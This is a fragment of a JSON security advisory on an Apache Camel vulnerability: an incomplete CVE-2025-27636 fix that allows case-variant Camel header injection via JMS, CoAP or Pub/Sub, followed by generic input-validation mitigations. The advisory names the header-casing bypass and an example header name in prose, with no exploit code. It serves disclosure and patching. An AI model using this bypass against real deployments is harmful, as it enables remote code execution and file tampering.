"details": "The fix for CVE-2025-27636 added setLowerCase(true) to HttpHeaderFilterStrategy so that case-variant header names such as \u0027CAmelExecCommandExecutable\u0027 are filtered out alongside \u0027CamelExecCommandExecutable\u0027. The same setLowerCase(true) call was not applied to five non-HTTP HeaderFilterStrategy implementations: JmsHeaderFilterStrategy and ClassicJmsHeaderFilterStrategy in camel-jms, SjmsHeaderFilterStrategy in camel-sjms, CoAPHeaderFilterStrategy in camel-coap, and GooglePubsubHeaderFilterStrategy in camel-google-pubsub. Because those strategies use case-sensitive String.startsWith(\u0027Camel\u0027/\u0027camel\u0027) filtering while the Camel Exchange stores headers in a case-insensitive map, an attacker with JMS (or equivalent) producer access to the broker consumed by a Camel route can inject case-variant Camel internal headers, which are then resolved by downstream components such as camel-exec and camel-file using their canonical casing. This enables remote code execution and arbitrary file write on routes that forward JMS messages to header-driven components.\n\nThis issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0.\n\nUsers are recommended to upgrade to version 4.20.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.2.",
"id": "GHSA-jg2m-9x48-3gvj",
"modified": "2026-05-22T13:10:44Z",
"published": "2026-04-27T09:34:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40453"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/22569"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/22575"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/22576"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/1e331daa4eea0a3f01d951e74cda8faee79495a2"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/301bb7401cd480895b94a28a8ad6cf04952d8125"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/3d2efeed2f6ea757f0254a1d1cdeb9a4f28ca147"
},
{
"type": "WEB",
"url": "https://camel.apache.org/security/CVE-2026-40453.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/camel"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/CAMEL-23313"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Camel has an incomplete fix for CVE-2025-27636"
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.